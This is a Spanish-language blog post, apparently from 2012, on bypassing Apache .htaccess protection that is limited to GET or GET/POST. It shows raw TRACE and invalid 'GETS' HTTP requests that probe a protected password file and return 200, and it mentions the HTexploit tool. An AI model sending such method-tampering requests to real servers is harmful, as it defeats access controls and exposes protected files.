q3rv0

Follow the white rabbit….

Jugando Con .htaccess

La mayoria ya conoce cual es la funcion de este archivo en el servidor encargandose de actuar sobre el fichero de configuracion de apache “httpd.conf”

Permite:

Redireccion de url’s

Respuestas de error personalizadas.

Proteccion de directorios, subdirectorios y ficheros en el servidor.

Certificados de autentificacion http.

etc…

No vengo a escribrir de como implementar cada una de sus funciones.

En la Black-Hat pasada se hablo de una supuesta vulnerabilidad en .htaccess, yo creo que mas que una vulnerabilidad es solo una mala implementacion del metodo “Limit” cuando se desea restringir el acceso a cierto directorio/fichero presentando un certificado de autentificacion http.

En cuanto a estos tipos de certificados tenemos los:

Basicos: Los datos son enviados en texto plano

Resumen: Los datos viajan encriptados.

En la siguiente imagen podemos encontrar un servidor que implementa un certificado de tipo basico.

Conociendo la cantidad de admins que andan sueltos, Podriamos deducir para suerte nuestra que nos estariamos encontrando con un .htaccess configurado de la siguiente manera (supongamos).

1
2
3
4
5
6
7
AuthUserFile .htpasswd
AuthName "Area Radioactiva"
AuthType Basic
 
<Limit GET>
require valid-user
</Limit>

Donde esta la mala implementacion?

1
<Limit GET>

Vemos que solo se limita a peticiones GET, dejando de lado TRACE, OPTIONS, POST, PUT, COPY, MOVE, DELETE, TRACK, etc, entre otras.

Podriamos obtener el contenido de algun fichero detras de la proteccion utilizando el metodo POST.

Otras configuraciones mas restringidas incluyen el metodo POST como limite.

1
2
3
4
5
6
7
AuthUserFile .htpasswd
AuthName "Area Radioactiva"
AuthType Basic
 
<Limit GET POST>
require valid-user
</Limit>

Pero eso no nos niega la posibilidad de enumerar los ficheros y directorios protegidos por .htaccess utilizando los demas metodos que se hayen habilitados en el servidor.

Si analizamos, ahun existiendo o no el path /files/pass.txt, el servidor nos responderia con el mismo error 401 (no autorizado)

Lo mismo pasara al realizar una peticion POST, pero que hay de los demas metodos, como responderia ante una peticion http que no este dentro de los ? por ejemplo TRACE.

1
2
3
4
5
6
7
8
TRACE /files/pass.txt HTTP/1.0
 
HTTP/1.0 200 ok
Date: Thu, 05 Jul 2012 10:53:32 GTM
Server: Apache /2.2.3 (centOS)
Connection: close
Content-type: message/http
TRACE /files/pass.txt HTTP/1.0

Evidentemente nos responde con 200 ok, hemos logrado evadir la restriccion del .htaccess para deducir la existencia del fichero en el servidor, en caso de no existir el servidor nos responderia con un error 404.

Otro manera seria realizar peticiones con metodos no implementados e inexistentes como GETS, el servidor lo tomaria como si se tratara de un metodo GET.

1
2
3
4
5
6
7
GETS /files/pass.txt HTTP/1.1
 
HTTP/1.0 200 ok
Date: Thu, 05 Jul 2012 10:53:32 GTM
Server: Apache /2.2.3 (centOS)
Connection: close
Content-type: message/http

Este tipo de evaciones lo implementa la herramientas HTexploit.

Saludos!